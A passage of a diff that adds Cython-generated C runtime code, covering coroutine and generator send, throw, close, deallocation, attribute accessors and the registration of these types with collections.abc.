already executing"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact((PyObject*)gen)) { + msg = "async generator already executing"; + #endif + } else { + msg = "generator already executing"; + } + PyErr_SetString(PyExc_ValueError, msg); +} +#define __Pyx_Coroutine_NotStartedError(gen) (__Pyx__Coroutine_NotStartedError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_NotStartedError(PyObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(gen)) { + msg = "can't send non-None value to a just-started coroutine"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(gen)) { + msg = "can't send non-None value to a just-started async generator"; + #endif + } else { + msg = "can't send non-None value to a just-started generator"; + } + PyErr_SetString(PyExc_TypeError, msg); +} +#define __Pyx_Coroutine_AlreadyTerminatedError(gen, value, closing) (__Pyx__Coroutine_AlreadyTerminatedError(gen, value, closing), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyTerminatedError(PyObject *gen, PyObject *value, int closing) { + CYTHON_MAYBE_UNUSED_VAR(gen); + CYTHON_MAYBE_UNUSED_VAR(closing); + #ifdef __Pyx_Coroutine_USED + if (!closing && __Pyx_Coroutine_Check(gen)) { + PyErr_SetString(PyExc_RuntimeError, "cannot reuse already awaited coroutine"); + } else + #endif + if (value) { + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + PyErr_SetNone(__Pyx_PyExc_StopAsyncIteration); + else + #endif + PyErr_SetNone(PyExc_StopIteration); + } +} +static +PyObject *__Pyx_Coroutine_SendEx(__pyx_CoroutineObject *self, PyObject *value, int closing) { + __Pyx_PyThreadState_declare + PyThreadState *tstate; + __Pyx_ExcInfoStruct *exc_state; + PyObject *retval; + assert(!self->is_running); + if (unlikely(self->resume_label == 0)) { + if (unlikely(value && value != Py_None)) { + return __Pyx_Coroutine_NotStartedError((PyObject*)self); + } + } + if (unlikely(self->resume_label == -1)) { + return __Pyx_Coroutine_AlreadyTerminatedError((PyObject*)self, value, closing); + } +#if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + tstate = __pyx_tstate; +#else + tstate = __Pyx_PyThreadState_Current; +#endif + exc_state = &self->gi_exc_state; + if (exc_state->exc_value) { + #if CYTHON_COMPILING_IN_PYPY + #else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #elif PY_VERSION_HEX >= 0x030B00a4 + exc_tb = ((PyBaseExceptionObject*) exc_state->exc_value)->traceback; + #else + exc_tb = exc_state->exc_traceback; + #endif + if (exc_tb) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + assert(f->f_back == NULL); + #if PY_VERSION_HEX >= 0x030B00A1 + f->f_back = PyThreadState_GetFrame(tstate); + #else + Py_XINCREF(tstate->frame); + f->f_back = tstate->frame; + #endif + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + Py_DECREF(exc_tb); + #endif + } + #endif + } +#if CYTHON_USE_EXC_INFO_STACK + exc_state->previous_item = tstate->exc_info; + tstate->exc_info = exc_state; +#else + if (exc_state->exc_type) { + __Pyx_ExceptionSwap(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } else { + __Pyx_Coroutine_ExceptionClear(exc_state); + __Pyx_ExceptionSave(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } +#endif + self->is_running = 1; + retval = self->body(self, tstate, value); + self->is_running = 0; +#if CYTHON_USE_EXC_INFO_STACK + exc_state = &self->gi_exc_state; + tstate->exc_info = exc_state->previous_item; + exc_state->previous_item = NULL; + __Pyx_Coroutine_ResetFrameBackpointer(exc_state); +#endif + return retval; +} +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state) { +#if CYTHON_COMPILING_IN_PYPY + CYTHON_UNUSED_VAR(exc_state); +#else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 + if (!exc_state->exc_value) return; + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #else + exc_tb = exc_state->exc_traceback; + #endif + if (likely(exc_tb)) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + Py_CLEAR(f->f_back); + #if PY_VERSION_HEX >= 0x030B00a4 + Py_DECREF(exc_tb); + #endif + } +#endif +} +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_MethodReturn(PyObject* gen, PyObject *retval) { + CYTHON_MAYBE_UNUSED_VAR(gen); + if (unlikely(!retval)) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (!__Pyx_PyErr_Occurred()) { + PyObject *exc = PyExc_StopIteration; + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + exc = __Pyx_PyExc_StopAsyncIteration; + #endif + __Pyx_PyErr_SetNone(exc); + } + } + return retval; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) +static CYTHON_INLINE +PyObject *__Pyx_PyGen_Send(PyGenObject *gen, PyObject *arg) { +#if PY_VERSION_HEX <= 0x030A00A1 + return _PyGen_Send(gen, arg); +#else + PyObject *result; + if (PyIter_Send((PyObject*)gen, arg ? arg : Py_None, &result) == PYGEN_RETURN) { + if (PyAsyncGen_CheckExact(gen)) { + assert(result == Py_None); + PyErr_SetNone(PyExc_StopAsyncIteration); + } + else if (result == Py_None) { + PyErr_SetNone(PyExc_StopIteration); + } + else { +#if PY_VERSION_HEX < 0x030d00A1 + _PyGen_SetStopIterationValue(result); +#else + if (!PyTuple_Check(result) && !PyExceptionInstance_Check(result)) { + PyErr_SetObject(PyExc_StopIteration, result); + } else { + PyObject *exc = __Pyx_PyObject_CallOneArg(PyExc_StopIteration, result); + if (likely(exc != NULL)) { + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); + } + } +#endif + } + Py_DECREF(result); + result = NULL; + } + return result; +#endif +} +#endif +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_FinishDelegation(__pyx_CoroutineObject *gen) { + PyObject *ret; + PyObject *val = NULL; + __Pyx_Coroutine_Undelegate(gen); + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, &val); + ret = __Pyx_Coroutine_SendEx(gen, val, 0); + Py_XDECREF(val); + return ret; +} +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value) { + PyObject *retval; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + ret = __Pyx_async_gen_asend_send(yf, value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03050000 && defined(PyCoro_CheckExact) && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyCoro_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + { + if (value == Py_None) + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + else + ret = __Pyx_PyObject_CallMethod1(yf, __pyx_n_s_send, value); + } + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + retval = __Pyx_Coroutine_FinishDelegation(gen); + } else { + retval = __Pyx_Coroutine_SendEx(gen, value, 0); + } + return __Pyx_Coroutine_MethodReturn(self, retval); +} +static int __Pyx_Coroutine_CloseIter(__pyx_CoroutineObject *gen, PyObject *yf) { + PyObject *retval = NULL; + int err = 0; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + if (__Pyx_CoroutineAwait_CheckExact(yf)) { + retval = __Pyx_CoroutineAwait_Close((__pyx_CoroutineAwaitObject*)yf, NULL); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + retval = __Pyx_async_gen_asend_close(yf, NULL); + } else + if (__pyx_PyAsyncGenAThrow_CheckExact(yf)) { + retval = __Pyx_async_gen_athrow_close(yf, NULL); + } else + #endif + { + PyObject *meth; + gen->is_running = 1; + meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_close); + if (unlikely(!meth)) { + if (unlikely(PyErr_Occurred())) { + PyErr_WriteUnraisable(yf); + } + } else { + retval = __Pyx_PyObject_CallNoArg(meth); + Py_DECREF(meth); + if (unlikely(!retval)) + err = -1; + } + gen->is_running = 0; + } + Py_XDECREF(retval); + return err; +} +static PyObject *__Pyx_Generator_Next(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Generator_Next(yf); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, NULL); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, Py_None); + } else + #endif + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + return __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_SendEx(gen, Py_None, 0); +} +static PyObject *__Pyx_Coroutine_Close_Method(PyObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self); +} +static PyObject *__Pyx_Coroutine_Close(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *retval, *raised_exception; + PyObject *yf = gen->yieldfrom; + int err = 0; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + Py_INCREF(yf); + err = __Pyx_Coroutine_CloseIter(gen, yf); + __Pyx_Coroutine_Undelegate(gen); + Py_DECREF(yf); + } + if (err == 0) + PyErr_SetNone(PyExc_GeneratorExit); + retval = __Pyx_Coroutine_SendEx(gen, NULL, 1); + if (unlikely(retval)) { + const char *msg; + Py_DECREF(retval); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(self)) { + msg = "coroutine ignored GeneratorExit"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(self)) { +#if PY_VERSION_HEX < 0x03060000 + msg = "async generator ignored GeneratorExit - might require Python 3.6+ finalisation (PEP 525)"; +#else + msg = "async generator ignored GeneratorExit"; +#endif + #endif + } else { + msg = "generator ignored GeneratorExit"; + } + PyErr_SetString(PyExc_RuntimeError, msg); + return NULL; + } + raised_exception = PyErr_Occurred(); + if (likely(!raised_exception || __Pyx_PyErr_GivenExceptionMatches2(raised_exception, PyExc_GeneratorExit, PyExc_StopIteration))) { + if (raised_exception) PyErr_Clear(); + Py_INCREF(Py_None); + return Py_None; + } + return NULL; +} +static PyObject *__Pyx__Coroutine_Throw(PyObject *self, PyObject *typ, PyObject *val, PyObject *tb, + PyObject *args, int close_on_genexit) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + Py_INCREF(yf); + if (__Pyx_PyErr_GivenExceptionMatches(typ, PyExc_GeneratorExit) && close_on_genexit) { + int err = __Pyx_Coroutine_CloseIter(gen, yf); + Py_DECREF(yf); + __Pyx_Coroutine_Undelegate(gen); + if (err < 0) + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); + goto throw_here; + } + gen->is_running = 1; + if (0 + #ifdef __Pyx_Generator_USED + || __Pyx_Generator_CheckExact(yf) + #endif + #ifdef __Pyx_Coroutine_USED + || __Pyx_Coroutine_Check(yf) + #endif + ) { + ret = __Pyx__Coroutine_Throw(yf, typ, val, tb, args, close_on_genexit); + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_CoroutineAwait_CheckExact(yf)) { + ret = __Pyx__Coroutine_Throw(((__pyx_CoroutineAwaitObject*)yf)->coroutine, typ, val, tb, args, close_on_genexit); + #endif + } else { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_throw); + if (unlikely(!meth)) { + Py_DECREF(yf); + if (unlikely(PyErr_Occurred())) { + gen->is_running = 0; + return NULL; + } + __Pyx_Coroutine_Undelegate(gen); + gen->is_running = 0; + goto throw_here; + } + if (likely(args)) { + ret = __Pyx_PyObject_Call(meth, args, NULL); + } else { + PyObject *cargs[4] = {NULL, typ, val, tb}; + ret = __Pyx_PyObject_FastCall(meth, cargs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); + } + Py_DECREF(meth); + } + gen->is_running = 0; + Py_DECREF(yf); + if (!ret) { + ret = __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_MethodReturn(self, ret); + } +throw_here: + __Pyx_Raise(typ, val, tb, NULL); + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); +} +static PyObject *__Pyx_Coroutine_Throw(PyObject *self, PyObject *args) { + PyObject *typ; + PyObject *val = NULL; + PyObject *tb = NULL; + if (unlikely(!PyArg_UnpackTuple(args, (char *)"throw", 1, 3, &typ, &val, &tb))) + return NULL; + return __Pyx__Coroutine_Throw(self, typ, val, tb, args, 1); +} +static CYTHON_INLINE int __Pyx_Coroutine_traverse_excstate(__Pyx_ExcInfoStruct *exc_state, visitproc visit, void *arg) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_VISIT(exc_state->exc_value); +#else + Py_VISIT(exc_state->exc_type); + Py_VISIT(exc_state->exc_value); + Py_VISIT(exc_state->exc_traceback); +#endif + return 0; +} +static int __Pyx_Coroutine_traverse(__pyx_CoroutineObject *gen, visitproc visit, void *arg) { + Py_VISIT(gen->closure); + Py_VISIT(gen->classobj); + Py_VISIT(gen->yieldfrom); + return __Pyx_Coroutine_traverse_excstate(&gen->gi_exc_state, visit, arg); +} +static int __Pyx_Coroutine_clear(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + Py_CLEAR(gen->closure); + Py_CLEAR(gen->classobj); + Py_CLEAR(gen->yieldfrom); + __Pyx_Coroutine_ExceptionClear(&gen->gi_exc_state); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + Py_CLEAR(((__pyx_PyAsyncGenObject*)gen)->ag_finalizer); + } +#endif + Py_CLEAR(gen->gi_code); + Py_CLEAR(gen->gi_frame); + Py_CLEAR(gen->gi_name); + Py_CLEAR(gen->gi_qualname); + Py_CLEAR(gen->gi_modulename); + return 0; +} +static void __Pyx_Coroutine_dealloc(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject_GC_UnTrack(gen); + if (gen->gi_weakreflist != NULL) + PyObject_ClearWeakRefs(self); + if (gen->resume_label >= 0) { + PyObject_GC_Track(self); +#if PY_VERSION_HEX >= 0x030400a1 && CYTHON_USE_TP_FINALIZE + if (unlikely(PyObject_CallFinalizerFromDealloc(self))) +#else + Py_TYPE(gen)->tp_del(self); + if (unlikely(Py_REFCNT(self) > 0)) +#endif + { + return; + } + PyObject_GC_UnTrack(self); + } +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + /* We have to handle this case for asynchronous generators + right here, because this code has to be between UNTRACK + and GC_Del. */ + Py_CLEAR(((__pyx_PyAsyncGenObject*)self)->ag_finalizer); + } +#endif + __Pyx_Coroutine_clear(self); + __Pyx_PyHeapTypeObject_GC_Del(gen); +} +static void __Pyx_Coroutine_del(PyObject *self) { + PyObject *error_type, *error_value, *error_traceback; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + __Pyx_PyThreadState_declare + if (gen->resume_label < 0) { + return; + } +#if !CYTHON_USE_TP_FINALIZE + assert(self->ob_refcnt == 0); + __Pyx_SET_REFCNT(self, 1); +#endif + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&error_type, &error_value, &error_traceback); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + __pyx_PyAsyncGenObject *agen = (__pyx_PyAsyncGenObject*)self; + PyObject *finalizer = agen->ag_finalizer; + if (finalizer && !agen->ag_closed) { + PyObject *res = __Pyx_PyObject_CallOneArg(finalizer, self); + if (unlikely(!res)) { + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); + return; + } + } +#endif + if (unlikely(gen->resume_label == 0 && !error_value)) { +#ifdef __Pyx_Coroutine_USED +#ifdef __Pyx_Generator_USED + if (!__Pyx_Generator_CheckExact(self)) +#endif + { + PyObject_GC_UnTrack(self); +#if PY_MAJOR_VERSION >= 3 || defined(PyErr_WarnFormat) + if (unlikely(PyErr_WarnFormat(PyExc_RuntimeWarning, 1, "coroutine '%.50S' was never awaited", gen->gi_qualname) < 0)) + PyErr_WriteUnraisable(self); +#else + {PyObject *msg; + char *cmsg; + #if CYTHON_COMPILING_IN_PYPY + msg = NULL; + cmsg = (char*) "coroutine was never awaited"; + #else + char *cname; + PyObject *qualname; + qualname = gen->gi_qualname; + cname = PyString_AS_STRING(qualname); + msg = PyString_FromFormat("coroutine '%.50s' was never awaited", cname); + if (unlikely(!msg)) { + PyErr_Clear(); + cmsg = (char*) "coroutine was never awaited"; + } else { + cmsg = PyString_AS_STRING(msg); + } + #endif + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, cmsg, 1) < 0)) + PyErr_WriteUnraisable(self); + Py_XDECREF(msg);} +#endif + PyObject_GC_Track(self); + } +#endif + } else { + PyObject *res = __Pyx_Coroutine_Close(self); + if (unlikely(!res)) { + if (PyErr_Occurred()) + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); +#if !CYTHON_USE_TP_FINALIZE + assert(Py_REFCNT(self) > 0); + if (likely(--self->ob_refcnt == 0)) { + return; + } + { + Py_ssize_t refcnt = Py_REFCNT(self); + _Py_NewReference(self); + __Pyx_SET_REFCNT(self, refcnt); + } +#if CYTHON_COMPILING_IN_CPYTHON + assert(PyType_IS_GC(Py_TYPE(self)) && + _Py_AS_GC(self)->gc.gc_refs != _PyGC_REFS_UNTRACKED); + _Py_DEC_REFTOTAL; +#endif +#ifdef COUNT_ALLOCS + --Py_TYPE(self)->tp_frees; + --Py_TYPE(self)->tp_allocs; +#endif +#endif +} +static PyObject * +__Pyx_Coroutine_get_name(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_name; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_name(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_name, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_qualname(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_qualname; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_qualname(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_qualname, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_frame(__pyx_CoroutineObject *self, void *context) +{ + PyObject *frame = self->gi_frame; + CYTHON_UNUSED_VAR(context); + if (!frame) { + if (unlikely(!self->gi_code)) { + Py_RETURN_NONE; + } + frame = (PyObject *) PyFrame_New( + PyThreadState_Get(), /*PyThreadState *tstate,*/ + (PyCodeObject*) self->gi_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (unlikely(!frame)) + return NULL; + self->gi_frame = frame; + } + Py_INCREF(frame); + return frame; +} +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject* type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + __pyx_CoroutineObject *gen = PyObject_GC_New(__pyx_CoroutineObject, type); + if (unlikely(!gen)) + return NULL; + return __Pyx__Coroutine_NewInit(gen, body, code, closure, name, qualname, module_name); +} +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + gen->body = body; + gen->closure = closure; + Py_XINCREF(closure); + gen->is_running = 0; + gen->resume_label = 0; + gen->classobj = NULL; + gen->yieldfrom = NULL; + #if PY_VERSION_HEX >= 0x030B00a4 + gen->gi_exc_state.exc_value = NULL; + #else + gen->gi_exc_state.exc_type = NULL; + gen->gi_exc_state.exc_value = NULL; + gen->gi_exc_state.exc_traceback = NULL; + #endif +#if CYTHON_USE_EXC_INFO_STACK + gen->gi_exc_state.previous_item = NULL; +#endif + gen->gi_weakreflist = NULL; + Py_XINCREF(qualname); + gen->gi_qualname = qualname; + Py_XINCREF(name); + gen->gi_name = name; + Py_XINCREF(module_name); + gen->gi_modulename = module_name; + Py_XINCREF(code); + gen->gi_code = code; + gen->gi_frame = NULL; + PyObject_GC_Track(gen); + return gen; +} + +/* PyObject_GenericGetAttrNoDict */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static PyObject *__Pyx_RaiseGenericGetAttributeError(PyTypeObject *tp, PyObject *attr_name) { + __Pyx_TypeName type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, attr_name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(attr_name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name) { + PyObject *descr; + PyTypeObject *tp = Py_TYPE(obj); + if (unlikely(!PyString_Check(attr_name))) { + return PyObject_GenericGetAttr(obj, attr_name); + } + assert(!tp->tp_dictoffset); + descr = _PyType_Lookup(tp, attr_name); + if (unlikely(!descr)) { + return __Pyx_RaiseGenericGetAttributeError(tp, attr_name); + } + Py_INCREF(descr); + #if PY_MAJOR_VERSION < 3 + if (likely(PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_HAVE_CLASS))) + #endif + { + descrgetfunc f = Py_TYPE(descr)->tp_descr_get; + if (unlikely(f)) { + PyObject *res = f(descr, obj, (PyObject *)tp); + Py_DECREF(descr); + return res; + } + } + return descr; +} +#endif + +/* PatchModuleWithCoroutine */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + int result; + PyObject *globals, *result_obj; + globals = PyDict_New(); if (unlikely(!globals)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_coroutine_type", + #ifdef __Pyx_Coroutine_USED + (PyObject*)__pyx_CoroutineType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_generator_type", + #ifdef __Pyx_Generator_USED + (PyObject*)__pyx_GeneratorType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "_module", module) < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "__builtins__", __pyx_b) < 0)) goto ignore; + result_obj = PyRun_String(py_code, Py_file_input, globals, globals); + if (unlikely(!result_obj)) goto ignore; + Py_DECREF(result_obj); + Py_DECREF(globals); + return module; +ignore: + Py_XDECREF(globals); + PyErr_WriteUnraisable(module); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, "Cython module failed to patch module with custom type", 1) < 0)) { + Py_DECREF(module); + module = NULL; + } +#else + py_code++; +#endif + return module; +} + +/* PatchGeneratorABC */ +#ifndef CYTHON_REGISTER_ABCS +#define CYTHON_REGISTER_ABCS 1 +#endif +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) +static PyObject* __Pyx_patch_abc_module(PyObject *module); +static PyObject* __Pyx_patch_abc_module(PyObject *module) { + module = __Pyx_Coroutine_patch_module( + module, "" +"if _cython_generator_type is not None:\n" +" try: Generator = _module.Generator\n" +" except AttributeError: pass\n" +" else: Generator.register(_cython_generator_type)\n" +"if _cython_coroutine_type is not None:\n" +" try: Coroutine = _module.Coroutine\n" +" except AttributeError: pass\n" +" else: Coroutine.register(_cython_coroutine_type)\n" + ); + return module; +} +#endif +static int __Pyx_patch_abc(void) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + static int abc_patched = 0; + if (CYTHON_REGISTER_ABCS && !abc_patched) { + PyObject *module; + module = PyImport_ImportModule((PY_MAJOR_VERSION >= 3) ? "collections.abc" : "collections"); + if (unlikely(!module)) { + PyErr_WriteUnraisable(NULL); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, + ((PY_MAJOR_VERSION >= 3) ? + "Cython module failed to register with collections.abc module" : + "Cython module failed to register with collections module"), 1) < 0)) { + return -1; + } + } else { + module = __Pyx_patch_abc_module(module); + abc_patched = 1; + if (unlikely(!module)) + return -1; + Py_DECREF(module); + } + module = PyImport_ImportModule("backports_abc"); + if (module) { + module = __Pyx_patch_abc_module(module); + Py_XDECREF(module); + } + if (!module) { + PyErr_Clear(); + } + } +#else + if ((0)) __Pyx_Coroutine_patch_module(NULL, NULL); +#endif + return 0; +} + +/* Coroutine */ +static void __Pyx_CoroutineAwait_dealloc(PyObject *self) { + PyObject_GC_UnTrack(self); + Py_CLEAR(((__pyx_CoroutineAwaitObject*)self)->coroutine); + __Pyx_PyHeapTypeObject_GC_Del(self); +} +static int __Pyx_CoroutineAwait_traverse(__pyx_CoroutineAwaitObject *self, visitproc visit, void *arg) { + Py_VISIT(self->coroutine); + return 0; +} +static int __Pyx_CoroutineAwait_clear(__pyx_CoroutineAwaitObject *self) { + Py_CLEAR(self->coroutine); + return 0; +} +static PyObject *__Pyx_CoroutineAwait_Next(__pyx_CoroutineAwaitObject *self) { + return __Pyx_Generator_Next(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_Send(__pyx_CoroutineAwaitObject *self, PyObject *value) { + return __Pyx_Coroutine_Send(self->coroutine, value); +} +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args) { + return __Pyx_Coroutine_Throw(self->coroutine, args); +} +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_self(PyObject *self) { + Py_INCREF(self); + return self; +} +#if !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_CoroutineAwait_no_new(PyTypeObject *type, PyObject *args, PyObject *kwargs) { + CYTHON_UNUSED_VAR(type); + CYTHON_UNUSED_VAR(args); + 